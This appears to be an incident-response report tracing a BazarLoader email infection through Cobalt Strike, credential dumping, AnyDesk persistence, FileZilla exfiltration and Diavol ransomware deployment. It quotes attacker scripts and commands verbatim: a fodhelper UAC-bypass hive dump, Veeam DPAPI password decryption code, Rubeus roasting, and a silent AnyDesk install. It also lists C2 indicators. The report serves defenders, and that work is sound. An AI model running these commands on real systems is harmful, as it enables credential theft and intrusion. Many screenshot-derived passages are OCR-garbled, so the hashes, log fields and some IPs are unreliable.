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infected

What would you like to learn about?

In the past, threat actors have used BazarLoader to deploy Ryuk and Conti ransomware, as
reported on many occasions. In this intrusion, however, a BazarLoader infection resulted in
deployment of Diavol Ransomware.

First discovered in June 2021, by FortiGuard Labs, Diavol Ransomware has been suspected
to be linked to the Wizard Spider threat actor. In this report, we observed threat actors deploy
multiple Cobalt Strike DLL beacons, perform internal discovery using Windows utilities,
execute lateral movement using AnyDesk and RDP, dump credentials multiple ways, exfiltrate
data and deploy domain wide ransomware in as little as 32 hours from initial access.

Case Summary

The malware (BazarLoader) was delivered to an endpoint via email, which included a link to
OneDrive. The OneDirive link, directed the user to download a file that was a zip, which
included an ISO inside. Once opened (mounted) on the users system, it was determined the
ISO contained a LNK file and a DLL. The LNK file masqueraded as a Document enticing the
user to click/open it. Once the user executed the LNK file, the BazarLoader infection was
initiated.

As seen in previous cases, the BazarLoader infection began with internal reconnaissance of
the environment using Windows utilities such as net, nltest, and ipconfig. After being inactive
for one hour, the intrusion continued with dropping of multiple Cobalt Strike beacon DLL’s on
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the beachhead. This was followed by another round of discovery from the compromised
machine. The threat actor then proceeded with execution of adf.bat, which is a script that
queries various Active Directory objects using the AdFind tool. The first run was using a
renamed binary named qq.exe and then the threat actor later dropped a properly named
AdFind binary and executed the same discovery commands again. Soon after that, with the
use of another simple batch script named fodhelper_reg _hashes.bat, they performed
credentials acquisition via dumping of SAM, SECURITY and SYSTEM registry hives.

Returning after a gap of almost 18 hours, the threat actor performed another round of network
scanning from the beachhead. This was then followed by attempts to Kerberoast and “AS-
REProast” using the tool Rubeus. The threat actor then moved laterally via RDP to a server
that contained file shares. After gaining access to the system they installed a remote access
application, AnyDesk, as well as Filezilla.

The threat actors used FileZilla to exfiltrate data out of the environment. They then pivoted
towards critical systems, such as domain controllers and a server that held backups. The
threat actor then dumped LSASS from one of the domain controllers, using task manager, and
then uploaded the dump file to ufile.io using Internet Explorer.

On the backup server, the threat actors attempted to dump databases associated with the
backup solution. In one attempt, they used a documented technique to recover the encoded
password and decode it using the Microsoft Data Protection APl (DPAPI).

After around 42 hours post initial intrusion, the threat actors pushed towards completion of
their final objective. RDP access was established from the central file server that the threat
actors had compromised to all endpoints and a batch script named “kill.bat” was executed on
all of the targeted machines.

The script consists of commands that removes Volume Shadow copies, disables Windows
automatic startup repair, and stops all the running services on the host. Once the script
completed execution, the Diavol Ransomware was deployed via the RDP connection on each
machine by running the executable manually. From initial access, to ransomware deployment,
the threat actors took about 42 hours to deploy ransomware domain wide, but from the login
on the third day, to the last host ransom execution, only about an hour passed for the actors to
finish their deployment.

Services

We offer multiple services including a Threat Feed service which tracks Command and Control
frameworks such as Cobalt Strike, BazarLoader, Covenant, Metasploit, Empire, PoshC2, etc.
More information on this service and others can be found here.

We also have artifacts and I0Cs available from this case such as pcaps, memory captures,
files, event logs including Sysmon, Kape packages, and more, under our Security Researcher
and Organization services.
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Timeline

Diavol Ransomware

13:43 UTC BazarLoader
Executed

Download Bazaloader Zip from Onedrive
1SO mounted, DLL executed

159.223.51.75:443

14:56 UTC Cobalt Strike
Beacon dropped

23.81.246.32:443 J
gawocag.com

15:29 UTC Dumping of registry
hives via atch script

14:06 UTC Lateral movement to
various servers via RDP

13:57 UTC Bazarloader
Discovery Activity

~ net group /domain admins
~ net group \"Domain Computers\" f/domain
~ net localgroup administrator

= net view /all

- nltest /domain_trusts /all_trusts

15:02 UTC Discovery activity via
Cobalt Strike

ipconfig /all
net user USER /domain

cmd.exe /C adf.bat

15:54 UTC Second Cobalt Strike
C2 established

[ 108.62.141.87:443
hiduwu.com

11:14 UTC Rubeus execution
on the beachhead

Rubeus.exe kerberoast

Rubeus.exe asreproast

14:18 UTC File server
Persistence and Exfiltration

3/39



Invoke-Sharefinder
15:19 UT(? Lateral mov?ment Filezilla SETP
to domain controller via RDP 192.52.167.210:22

AnyDesk installed

Lsass dumped via Taskmanager

Exfil of dump file via ufile.io | 15:49 L_JTC Network scans
from file server

Advanced_IP_Scanner_2.5.3850.exe
15:54 UTC Lateral movement

MSSQLUDPScanner.exe
to backup System

Discovery of backup settings

Backup DB password extraction m

More FileZilla SFTP Exfiltration

7:04 UTC Ping sweep from file
server

Results viewed on system

NOTEPAD.EXE C:\ProgramData\ips.txt | 7:10 UTC RDP to Hosts Across

the Environment
AnyDesk installed

l' Execution of kill bat

8:05 UTC Final Host Ransomed =

l~ Manual execution of CryptoLockeré4.exe

Analysis and reporting completed by @yatinwad and AnonymousContributor1

Reviewed by @tas_kmanager and @samaritan_o

MITRE ATT&CK

Initial Access

Initial access was via a OneDrive link that arrived via malicious emails that was reported via
@ankit_anubhav.
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Stubborn #Bazarloader hosted malware again on onedrive ( link still live ) with zip -> iso
-> (Ink +DLL )

/onedrive.live.com/download?
cid=0094E8452D7CDD65&resid=94E8452D7CDD65%21135&authkey=AEN3yDYOia1YdKM

Connects to /159.223.31.75/body/athletehttps://t.co/HkgOUCBK85
pic.twitter.com/VY4wRI8w5D

— Ankit Anubhav (@ankit_anubhav) October 26, 2021

Upon accessing the link, a zip file was downloaded.

"File stream created:

4-B68b-6178-T44a-

gram Files

FllEﬂdMP C:\Use
reationUtcTime :
Hash: SHA1=93DE6481B6B3B3F5ACF7745187DBEGERADE26AAT , MDS=AEBECFDDCESYCBF966CSCEZE448A39B4
€]
Contents:

The original URL of the file can be traced from the file stream log data (Sysmon Event ID 15)
as well.

\AppData‘\Local\Temp\Temp1_new cuments-2885.zip\new-docume 3B5.150

Hash: SHA1=F3 ED1HFFFEG§DD2AWF14a1HEGBE4F FOABSD3@58, MD5=5585199D41D791ACES912A9ABESB148F , SHAZ56=TDE1336E311BA4A
8
Contents: -"

TheAnalyst reported similar BazarLoader activity via malicious emails around the same time
frame.
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Large #BazarlSO>#BazarlLoader>#BazarBackdoor inc from /muppetcast.com, started
yesterday. Direct links to @onedrive. Iso contains dllI+Ink running dll with entrypoint
"EnterDII", your EDR might have problems detecting this, and less obvious for most
users than maldocs... > pic.twitter.com/ZS8sspWqtG

— TheAnalyst (@ffforward) October 13, 2021

Execution

The BazarlLLoader ISO downloaded from the OneDirive link, consists of a malicious DLL and
shortcut file named “Documents.Ink” which executes the DLL via rundll32.exe.

out: Lnk File: Documents.lnk
Link Flags: HAS SHELLIDLIST | POINTS TO FILE/DIR | NO DESCRIPTION | HAS RELATIVE PATH STRING | NO WORKING DIRECTORY | HAS CMD LINE ARGS | HAS CUSTOM ICON
File Attributes: ARCHIVE
i 2021-84-089 13:50:48.599070
2021-10-21 20:41:48.014517
Modified Time: 2021-04-09 13:508:48.599070
Target length: 71688
Icon Index: 5
ShowWnd: SW_NORMAL
HotKey:
Target is on local volume
Volume Type: Fixed (Hard Disk)
Volume Serial: a6485015
Vol Label:
Base Path: C:\Windows\System32\rundl132.exe
(App Path:) Remaining Path:
Relative Path: ..\Windows\System32\rundl132.exe
Command Line: SharedFiles.dll,BasicScore
Icon filename: %systemroot%\system32\imageres.dll

a2  Documents Properties >
General Shortcut  Secuity Detals  Previous Versions

Documents

F

Target type: Application

Tanget location: System32

Target: |5'_.'stem 32vundll 32 exe SharedFiles dll Basic Scu:urel|

Start in: | |

Shortout key: | Mone |

Run: Momal window o
Comment: | |
Open File Location Change lcon... Advanced...

Cancsl Aoly
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SharedFiles.dll ]
BazarlLoader ISO
f C:\Windows\System32\rundll32.exe
Documents.Ink SharedFiles.dll,BasicScore

After the initial execution, the malware contacted two of its C2 IPs:

159.223.31.75
206.189.49.239

We then observed threat actors dropping multiple Cobalt Strike Beacon DLL’s on the host in
the following file paths:

C:\Users\<user>\AppData\Local\Temp\tfpkuengdlu.dll
C:\ProgramData\temp.dll

C:\Users\<>\AppData\Local\Temp\uvvfvnnswte.dll

EdFile Name [ Folder Path
ImplatSetup.dll C:\Windows\System32

tfpkuengdlu.dil C:\Users\ BB ~prData\Local\Temp
rundll32.exe  C:\Windows\System32

tfpkuengdlu.dll C:\Users‘_\AppData\Loca NTemp

Process Command Line

ValidCodeSignature
FileCreated
ProcessCreated
\WindowsBinarySimilarFileName temp.dll C:\ProgramData
FileCreated temp.dll C:\ProgramData
\WindowsBinarySimilarFileName temp.dll C:\ProgramData

FileModified temp.dll C:\ProgramData

ProcessCreated rundli32.exe temp.dll,EnterDIl
ProcessCreated conhost.exe Oxffffffff -ForceVl
ProcessCreated cmd.exe /C rundll32.exe temp.dIl,EnterDIl

rundli32.exe ”C:\Users\_\AppData\Local\Temp\tfpkuengdlu.dll” EnterDIl

Bazarloader
(SharedFiles.dll)

————— >
e Cobalt Strike Beacon Dropped
//
/
/
C:\Programbata\temp.dil

!
i

i

!

msedge.exe \
\‘\
\

. ) e
N B C:\Users\<user>\AppData\Local\ ,,// e
QARSI .\Users\<user>\AppData\Local\Temp\ o U TR
L uvvivnnswie.dil e ?

- 3 - -

Connection to C2 server 4

Cobalt Strike Beacon Dropped
1P: 23.81.246.32
Connection to C2 server
C:\Programbata\tmp.dil

Host: gawocag.com

\
\
1P: 108.62.141.87

\
Hostname: hidwu.com

Connection to C2 server:

1P: 23.81.246.32

Host: gawocag.com

Persistence
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A new BITS job, named “Microsoft Office Manager upgrade v24.24” was created on the
beachhead host.

Get-BitsTransfer -AllUsers | select *

JobId . 798T8e79-cBbb-43c8-9d6b-TT9cEB18Cc14c
isplayMName : Microsoft Office Manager upgrade vZ4.24
Description :

HttpMethod : GET

Dynamic : False

TransferType : Download

JobState . Error

TransferPolicy : BelowCap, UsageBased, PolicyUnrestricted

ACLFlags : None

SecurityFlags : RedirectPolicyAllowSilent

NotifyFlags : JobError

OwnerAccount :

Priority : Normal

RetryInterval : 18800

RetryTimeout : 8

MaxDownloadTime : 77760080

TransientErrorCount 2 dl

ProxylUsage : SystemDefault

ErrorContext : RemoteFile

ErrorCondition :

InternalErrorCode . -2145844844

ErrorDescription : HTTP status 404: The requested URL does not exist om the server.

ErrorContextDescription : The error occurred while the remote file was being processed.

BytesTotal » 18446744073709551615
BytesTransferred . 8

FilesTotal 2 dl

FilesTransferred : @

CreationTime :

ModificationTime :

TransferCompletionTime v 17170001 12:00:00 AM

FilelList : {https://microsoft.com/update.exe}
ProxyList :

ProxyBypasslList :

MotifyCmdLine : {rundll32.exe, rundll32 "D:\SharedFiles.d1l",BasicScore}
CustomHeaders :

CertificateStoreLocation : CurrentUser

CertificateStoreName

CertificateHash

CertificateSubjectName

The BITS job failed because the requested URL does not exist.
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General Details

The BITS service created a new job.

Transfer job: Microsoft Office Manager upgrade v24.24

Job ID: {798f8e79-c8bb-43c8-9d6b-ff9c0018c 14c}

Owner:

Process Path: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Process ID: 11820

Log Name: Microsoft-Windows-Bits-Client/Operational

Source: Bits-Client Logged: _

Event ID: 3 Task Category: None

Level: Information Keywords:

User: SYSTEM Computer‘. _
OpCode: Info

More Infarmation: Event Leq Online Help

While reporting failure in the logs, the BITS job did re-execute the mounted ISO files every 3
hours, for the length of the intrusion on the beachhead host.

“Process Cre
RuleName: te
UtcTime:
ProcessGuid: {73cdBf64-5bc7-6178-4edf-ARAREORAA5AE}
Pr Id: 11324

Image: C:\Windows\System32\rundll32.exe

FileVersion:

Description: Windows host process (Rundll32)

Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation

OriginalFileName: RUNDLL32.EXE

CommandLine: rundll32 "D:\SharedFiles.dll", K BasicScore

eate:

chnique_id=T1218.862, technique_name=rundl132.

CurrentDirectory: C:\Windows\system32\

User:

LogonGuid: {73cd8fs4-1591-6172-a7b7-77060000R00A }
LogonId:

ParentPro
ParentImag \
ParentCommandLine: C:\

|"lI
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After the threat actor moved laterally, we observed them installing Anydesk on multiple clients
to create additional means of keeping access.

They used PowerShell and cmd to automate the download and installation of AnyDesk. In
order to install Anydesk for unattended access you have to set a password. The password
here was setto J9kzQ2Y0q0

(new-object
System.Net.WebClient).DownloadFile("http://download.anydesk.com/AnyDesk.exe",
"C:\Programbata\AnyDesk.exe")

cmd.exe /c C:\ProgramData\AnyDesk.exe --install C:\ProgramData\AnyDesk --start-with-win
--silent

cmd.exe /c echo J9kzQ2Y@qO | C:\ProgramData\anydesk.exe --set-password

cmd.exe /c C:\ProgramData\AnyDesk.exe --get-id

The threat actor not only leaked their password when installing AnyDesk, but they also
temporarily copied the password to the machine as the name of a text file.

This password also matches one from the leaked Conti manuals back in August.

AnyDesk Executing the code in Powershell ISE
Run As Admin At the output, we get 1D

Click Consale Account

Enrer your password Quote JOkz02Y 0q0

From the Anydesk logs, we can also see the Client-ID and the IP used to access the clients.
Logs can be found at %programdata%\AnyDesk\ad_svc.trace

IP: 23.106.215.31, Client-id: 903491377
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any_socket : 983491377 (FPR: 9281f2ea2439).
any_socket from 23.186.215.31:52142 on relay dafadc5b.
any_socket : 983491377 (FPR: 9281f2ea2439).
any_socket from 23.186.215.31:52154 on relay lec46841.
any_socket : 983491377 (FPR: 9281f2ea2439).
any_socket from 96.78.253.29:463408 on relay e24ffb83.

any_socket : 983491377 (FPR: 9281f2ea2439).
any_socket from 23.106.215.31:50661 on relay lec46841.
any_socket : 983491377 (FPR: 9281f2ea2439).
any_socket from 23.186.215.31:508661 on relay lecd46@841.
any_socket i 983491377 (FPR: 9281f2ea2439).
any_socket from 23.106.215.31:508759 on relay dafadc5b.

» AnyDesk

Chat

(903491377)

Open Chat Log

Connected 01:32:32 _

Session request received

a SYSTEM
Session started

Permissions

B cAE

Defense Evasion

The threat actors made use of process injection through-out the intrusion. The BazalLoader
malware injected into an Edge browser process, as observed by the discovery activity, and
Cobalt Strike DLL'’s activity.
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“Process Create:

FuleMame: technique_id=T1818, technique_name=Remote System Discovery
UtcTime:

ProcessGuid: {73cdBf64-8942-6178-444h-AEEA0AAEB568 }

ProcessId: 356

Image: C:\Windows\System32\net.exe

FileVersion:

Description: Met Command

Product: Microsoft® Windows@ Operating System

Company: Microsoft Corporation

OriginalFileName: net.exe

CommandLine: net wview /all

CurrentDirectory: D:\

User:

LogonGuid: {73cd8f64-1591-6172-a7b7-770660000060 }

LogonId: @x77B7A7

TerminalSessionId: 3

IntegrityLevel: Medium

Hashes: SHA1=88B181598CCA726BTASTDB2B1FAYSBE1B272A821 , MD5=6BD94A338EEASALETF2B3BAE3I26E6D19,
7

ParentProcessGuid: {73cdf8f64-86T5-6178-284b-006060006568 }
ParentProcessId: 11826

ParentImage: C:\Program Files (x86)‘\Microsoft‘\Edge\Application\msedge.exe
ParentCommandLine: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe™"

"Process Create:

RuleName: technique_id=T1218.862, technique_name=rundl132.exe

UtcTime:

ProcessGuid: {73cdB8f64-173b-6178-e74b-BREEEEEEE560E }

ProcessId: 12176

Image: C:\Windows\System32\rundll32.exe

FileVersion:

Description: Windows host process (Rundll32)

Product: Microsoft® Windows® Operating System

Company: Microsoft Corporation

OriginalFileName: RUNDLL32.EXE

CommandLine: rundll32.exe "C:\Users) ‘AppData\local\Temp\tfpkuengdlu.d1ll" EnterDll
CurrentDirectory: D:\

User:

LogonGuid: {73cd8f64-1591-6172-a7b7-770008600686 }

LogonId: 8x77B7A7

TerminalSessionId: 3

Integritylevel: Medium

Hashes: SHA1=84DDB2B3D1158485B2B66867CA9452938A258EDD, MD5=44B841922185E681BFDBD896123F7D312 , SHA
c

ParentProcessGuid: {73cdaf64-86T5-6178-284b-060R60006506 }

ParentProcessId: 11828

ParentImage: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
ParentCommandLine: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe™"

Cobalt Strike processes were also observed injecting into various other processes.
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k Library Injection

d11+9d694 | C: \Windows \ Sy \KERNELBASE .d11+876c|C:\Win KERMELBASE .d11+#68e |C:\Win 32 \KERNELBASE . d11+6b36 | C: \Winc ERNEL32 . DLL+1c7b4| UNKNC

“CreateRemoteThread detected:

RuleName: technigue_id=T1855, technique_name=Process Injectio
n

UtcTime:

SourceProcessGuid: {73cd8f64-173b-6178-e74b-B60606086

SourceP

SourceImage: em32\ rundl132
TargetP id: FBd-186a-6178-8
TargetPro

TargetImage: Wind: ystem32\rundll3iz.exe
MewThreadId: f

StartAddress: @

StartModule: -

StartFunction:

Credential Access

Threat actors performed dumping of SAM, SECURITY and SYSTEM registry hives using a
batch script named “fodhelper_reg_hashes.bat”.

Contents of fodhelper_reg_hashes.bat are as follows:

reg.exe add hkcu\software\classes\ms-settings\shell\open\command /ve /d '"reg.exe save
hklm\sam c:\ProgrambData\sam.save" /f

reg.exe add hkcu\software\classes\ms-settings\shell\open\command /v "DelegateExecute"
/f

fodhelper.exe

reg.exe add hkcu\software\classes\ms-settings\shell\open\command /ve /d '"reg.exe save
hklm\security c:\ProgramData\security.save" /f

reg.exe add hkcu\software\classes\ms-settings\shell\open\command /v "DelegateExecute"
/f

fodhelper.exe

reg.exe add hkcu\software\classes\ms-settings\shell\open\command /ve /d '"reg.exe save
hklm\system c:\ProgramData\system.save" /f

reg.exe add hkcu\software\classes\ms-settings\shell\open\command /v "DelegateExecute"
/f

fodhelper.exe

reg.exe delete hkcu\software\classes\ms-settings /f >nul 2>&1

They also performed enumeration of the web browser information using more.
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“Process Create:
RuleName: technique_id=T1859, technique_name=Command-Line Interface

8f64-280d-6178-Pedd-BEE00H00OA560 }

Image: C:\Windows\System32\more.com
FileVersion:

Description: More Utility

Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: MORE.COM

CommandLine: more C:\Users

CurrentDirectory: C
User:

TerminalSe
Integr
Has! 91828DFE99684C86EA9SE3SDEDEZBABFAF212507 , MD5=EDB36466168828EERT4B5BE1BA439895E, SHAZ56=9AD24FF28594B4DF

ParentPr Ui f64-280d-6178-Bc4d-APEEABAGASAG }

ParentPr

ParentImage: C (e

ParentCommandLine: L e \C 3 \AppData\Local\Temp\edge-cookies.json”

The following files were accessed:

Users\<>\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Users\<>\AppData\Local\Microsoft\Edge\User Data\Default\Cookies
C:\Users\<>\AppData\Local\Temp\edge-cookies.json

Using a well known technique documented on the Veeam backup forum, the threat actor
managed to decrypt passwords used by Veeam. The encryption method used by Veeam is
Data Protection API/DPAPI.

All the activity was done using RDP on the server with backups.

1. Dump the credentials using sglcmd.exe to base64 passwords.
"C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\130\Tools\Binn\sglcmd.exe" -S

localhost, 51341 -E -y0@ -Q "SELECT TOP (1000) [id], [user_name], [password], [usn],
[description], [visible], [change_time_utc]FROM [VeeamBackup].[dbo].[Credentials];"

upl.ldbol.

1. Via RDP and notepad, they created a new file containing the code for the decryption
routine.
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"C:\Windows\system32\NOTEPAD.EXE" C:\Windows\Microsoft.NET\Framework\
<version#>\veeaml.cs.txt

Content of veeam1.cs.txt

using System;

using System.Collections.Generic;
using System.Security.Cryptography;
using System.Text;

namespace Main

{

internal static class Program

{
private static void Decrypt(string b,string a){
if (string.IsNullOrEmpty(a))

{

return;

}
byte[] encryptedData = Convert.FromBase64String(a);

Console.WriteLine(b+':'+Encoding.UTF8.GetString(ProtectedData.Unprotect(encryptedData,
null, DataProtectionScope.LocalMachine)));
return;

}

private static void Main(string[] args)

{
Decrypt ("VATA", "<BASE64 ENCODED PASSWORD HASH>");

}

| veeaml.cs - Notepad - O x

File Edit Format View Help
using System.Security.Cryptography;
using System.Text;

namespace Main

{
internal static class Program
{
private static void Decrypt(string b,string a){
if (string.IsNullOrEmpty(a))
{
return;
¥
byte[] encryptedData = Convert.FromBasebdString(a);
Console.Writeline(b+": “+Encoding.UTF8.GetString(ProtectedData.Unprotect(encrypted
return;
}
private static void Main(string[] args)
1
Decrypt ("vATA", "
}
1

15/39



1. Execute, which gave the threat actors passwords that were used by Veeam.

c:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe veeaml.cs.txt

T\Framework

C:\Windows\Micros

We also observed the threat actor using Rubeus to kerberoast and asreproast the
environment.

Creator_Process_Name * e Process_Command_Line =
C:\Windows\System32\svchost.exe C:\Windows\system32\cmd.exe /C Rubeus.exe asreproast /format:hashcat /outfile:C:\ProgramData\asrephashes.tx:

C:\Windows\System32\svchost. exe C:\Windows\system32\cmd.exe /C Rubeus.exe kerberoast /ldapfilter:'admincount=1' /format:hashcat /outfile:C:\ProgramData\hashes.txt

Discovery

Bazaloader was observed executing the well known battery of Windows discovery commands
around 10 minutes after execution on the beachhead host.

net group /domain admins

net group "Domain Computers'" /domain
net localgroup administrator

net view /all

nltest /domain_trusts /all_trusts

Shortly after the Cobalt Strike beacon was executed, we can see that they uploaded and ran
the well known script adf.bat. This has been observed multiple times by different ransomware
groups. The threat actor ran AdFind twice, once using adf.bat file with AdFind renamed to qq.

qq.exe -f "(objectcategory=person)"

qq.exe -f "objectcategory=computer"

gq.exe -f "(objectcategory=organizationalUnit)"
gqq.exe -sc trustdmp

qq.exe -subnets -f (objectCategory=subnet)
qq.exe -f "(objectcategory=group)"

gq.exe -gcb -sc trustdmp

The second time, they copy/pasted commands from adf.bat and executed them with
AdFind.exe.

On the second day, the following commands were executed before they started working on
moving laterally in the domain.
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https://github.com/GhostPack/Rubeus
https://adsecurity.org/?p=2293
http://www.harmj0y.net/blog/activedirectory/roasting-as-reps/
https://thedfirreport.com/wp-content/uploads/2021/12/rubeus.png

net group "Domain Admins" /domain
whoami

nslookup

ipconfig /all

systeminfo

tasklist

net group "Enterprise admins" /domain
net localgroup administrators
whoami /all

net use

query user

During the course of the intrusion, we observed execution of the utility “Advanced IP Scanner”
to perform network scanning (over ports 21,80,445,4899,8080).

Action Type Remote IP Remote Port Local IP Local Port File Name

ConnectionFailed advanced _ip_scanner.exe
ConnectionFailed ] advanced_ip_scanner.exe
ConnectionFailed advanced _ip_scanner.exe
ConnectionFailed : advanced ip_scanner.exe
ConnectionFailed advanced _ip_scanner.exe
ConnectionFailed : advanced ip_scanner.exe
ConnectionFailed 38 advanced_ip_scanner.exe
ConnectionFailed ] advanced ip_scanner.exe
ConnectionFailed advanced_ip_scanner.exe

ConnectionFailed ] advanced ip_scanner.exe

ConnectionFailed advanced_ip_scanner.exe
ConnectionFailed ] advanced ip_scanner.exe
ConnectionFailed 33 advanced_ip_scanner.exe
ConnectionFailed ] advanced _ip_scanner.exe
ConnectionFailed advanced ip_scanner.exe
ConnectionFailed ] advanced_ip_scanner.exe
ConnectionFailed advanced _ip_scanner.exe
ConnectionFailed ] advanced_ip_scanner.exe
ConnectionFailed advanced _ip_scanner.exe
ConnectionFailed : advanced ip_scanner.exe
ConnectionFailed advanced _ip_scanner.exe

Advanced IP Scanner was downloaded using Internet Explorer on a server:

Action Type Remote Url Remote IP Remote Port Local IP Local Port Initiating Process File Name
QutboundConnectionToWebProtocol download.advanced-ip-scanner.com 51.89.153.153 443 51139
ConnectionSuccess download.advanced-ip-scanner.com 51.89.153.153 443 51139 iexplore.exe

and then run with the portable option:
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g’ ' | = | Manage

m Home Share View Application Tools

T J} » ThisPC » Downloads v Search Downloads
Marne Date modified Type Size
3 Quick access
FileZillaPortable File folder
[ Desktop —
F_ELJ Advanced IP_Scanner_2.5.3850 Application 19,908 KB
4 Doyt o an
(7 Setup - Advanced IP Scanner 2.5 — »  plication 12,107 KB
=| Doc
= Pict Welcome to the Advanced IP Scanner 2.5 Setup Wizard
Specify whether you want to install Advanced IP Scanner 2.5 or just run it l!
= This B
EF Metw Select action:
() Install
Program wil be installed. For advanced settings set “Advanced settings™ checkbox.
@ Run
Run portable version (no installation needed)
3 items

Advanced setangs

We also saw “MSSQLUDPScanner.exe” used for discovery of MSSQL instances across the
environment.

BN Administrator: CAWindows\System32\emd.exe - MSSOLUDPScanner.exe --cidr -'24

oWs [Version |
8 Microsoft Corporation. All rights reserved.

:\ProgramData>
C:\ProgramData>MSSQLUDPScanner.exe --cidr

We believe the tool used is rvrsh3Il's MSSQLUDPScanner
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https://twitter.com/424f424f
https://github.com/rvrsh3ll/MSSQLUDPScanner

MSSQLUDPScanner

LUDPScanner is a c# port of

Asane le, one could execute MSSQLUDPScanner.exe through Cobalt Strike's Beacon "exec ssembl

module.

Example usage

SSQLUDPScanner.exe -

Comparing compiled version to executable from this intrusion

]
file seftings about
? version 6/10
= desktop\mssqludpscanner.exe @ size (bytes) file-offset blacklist (1) hint (96) value (474) =
- indicators (28) 5 5
D) 7
> dos-header (64 bytes) 2
E dos-stub (64 bytes) 2%
> file-header (time-stan 2
> optional-header (console) 2 NET Framework
S directories (6) 509 <7xml version="1.0" encoding="UTF-8" standalone="yes"?>\r\n\r\n<assembly xmins="ur...
» sections (98.31%) 4 \rin
] libraries (mscoree.dll) * 4
functions (123) 5
) 2
— 8
L= NET (v4.0.30319) 2 Show available options
4 resources (2) * 4 RTFM
Y strings (48" 54 [*] Example: MSSOLUDPScanner.exe -~cidr 192.168,
£ debug (unknown) N P:
5] manifest (aslnvoker) 4 ;
(3] version (MSSQLUDPScanner.exe) I
u 30 costura.costuradll.compr
pestudio 9.22 - Malware Initial Assessment - www.winitor.com -
file settings about
?
1denlcads\mssuludpzcsnnerﬂe encoding (2) size (bytes) file-offset blacklist (1) hint (97) value (474)
u indicators (29) ascii 2 WrapNonExceptionThrows
I ascii 15 MSSQLUDPScanner
> dos-header (64 bytes) -
B dos-stub (64 bytes) ascll 1 Copyright
N ascii 6 0
; file-header (time-stamp] ascl 37
> optional-header (console) asci 7
] directories (time-stamp ascii 2%
> sections (98.31%) ascii 20
ibraries (mscoree.dll) * ascil 18
unctions (123) ascii 4 RSDS
ascii 509 <7xml version="1.0" encoding="UTF-8" standalone="yes"?>\r\n\r\n<assembly xmlns="urn:schemas-microsoft-com:asm.v1
unicode 4 \fin
5 NET (+4.0.30319) unicode 5
(3 resources (2) * unicode 2 cidr 1
o ings (425)] unicode 8 hizlhelp
T P unicode 2 ow available options
manifest (aslnvoker) unicode 4 RIEM
{28l version (MSSQLUDPScanner.exe) unicode 54 ["] Example: MSSQLUDPScanner.exe --cidr 192.168.1.0/24
. unicode 4 2
b unicode 4 \in
unicode 11 compressed
unicode 7
unicode 30

Before execution of AdFind.exe, adf.bat was run.
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rundli32.exe "C:\Users\<>\AppData\Local\

Temp\tfpkuengdlu.dil” EnterDIl

( cmd.exe /C adf.bat )

qqg.exe -f "(objectcategory=person)"

qqg.exe -sc trustdmp

qq.exe -f"(objectcategory=
organizationalUnit)"

qqg.exe -f "objectcategory=computer"”

qq.exe -gcb -sc trustdmp

qqg.exe -f "(objectcategory=group)"

qq.exe -subnets -f (objectCategory=subnet)

Via RDP they manually ran @carlos_perez's Invoke-Sharefinder.ps1 on a server. It then looks
like they manually copied the output to a file named shares.ixt.

Process Information:

Mew Process ID: @x1558

Mew Process Mame: C:wWindowsh\System3i2inotepad. exe
Token Elevation Type: %%1936

Mandatory Label: 5-1-16-12288

Creator Process ID: 8x17a4

Creator Process MName: C:w\Windowsh\explorer.exe
Process Command Line: “CoAWindowshsystem32\NOTERPAD .EXE™ C:\ProgramDatahshares.txt

After each RDP connection to a server on the second day, the threat actor also made sure to
open up task manager to review running processes and possibly logged in users on these
systems.

data.win.eventdata.image data.win.eventdata.commandLine rule.description
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https://twitter.com/Carlos_Perez
https://github.com/darkoperator/Veil-PowerView/blob/master/PowerView/functions/Invoke-ShareFinder.ps1

Lateral Movement

We observed the threat actor using RDP as their main tool to do lateral movement in the
environment. Most likely using credentials gathered through dumping of either Isass, or the
registry hives. The first instance was through the beachhead where they used Cobalt Strike as
a reverse proxy. This also revealed their Workstation Name which is WIN-799RIOTSTOF .
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Message=An account was successfully logged on.

Subject:
Security ID: 5-1-8-8
Account MName: -
Account Domain: -
Logon ID: axa

Logon Information:

Logon Type: 3
Restricted Admin Mode: -
Virtual Account: No
Elevated Token: Yes
Impersonation Level: Impersonation
Mew Logon:
Security ID: |
Account MName: Administrator
Account Domain:
Linked Logon ID: axa

Metwork Account Mame: -
Metwork Account Domain: -
Logon GUID: {peaeoeee-B0EB-BRBE-BRGE-DEBREREEBRRA])

Process Information:
Process ID: Bxe

Process Mame: -

Metwork Information:

Workstation MName: WIN-T9SRIGTSTOF
Source Metwork Address: _
Source Port: @

Detailed Authentication Information:
Logon Process: NtLmssp
Authentication Package: NTLM
Transited Services: -
Package Mame (NTLM only): NTLM W2
Key Length: 128

After they installed AnyDesk, they used that access to RDP to other servers in the
environment as well as eventually executing their final objective using this access.

Collection
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The threat actors attempted to dump a database using sglcmd.exe but the connection to the
MSSQL server failed.

sglcmd -E -S localhost -Q "BACKUP DATABASE master TO
DISK='c:\programdata\sql\master.bak'"

Action Type Remote IP Remote Port Local IP Local Port Process Command Line
ConnectionFailed 1433 59231 sqlemd -E -S localhost -Q "BACKUP DATABASE master TO DISK='c:\programdata\sql\master.bak"
ConnectionFailed 1433 59232 sglemd -E -S localhost -Q "BACKUP DATABASE master TO DISK='c:\programdata\sql\master.bak"

Command and Control

BazarLoader:

206.189.49.239:443

JA3: 72a589da586844d7f0818ce684948eea
JA3s: 3f48aac872bldbe54fa3547535ec9d43

Certificate: [3d:c3:4b:ff:95:d0:ae:52:f3:1e:18:€2:18:9e€:0b:38:8c:fO:cf:b9 ]
Not Before: 2021/10/18 14:47:32 UTC

Not After: 2022/10/18 14:47:32 UTC

Issuer Org: Akdeniz Ltd.

Subject Common: turkcell.info

Subject Org: Akdeniz Ltd.

Public Algorithm: id-ecPublicKey

Curve: prime256vi

Subject: "[email protected],CN=turkcell.info, O=Akdeniz
Ltd., L=\\C3\\83\\C2\\870rluburgh, ST=Missouri, C=BE",

Issuer: "[email protected],CN=turkcell.info,O0=Akdeniz
Ltd., L=\\C3\\83\\C2\\870rluburgh, ST=Missouri, C=BE",

Validation_status: "self signed certificate",

159.223.31.75:443

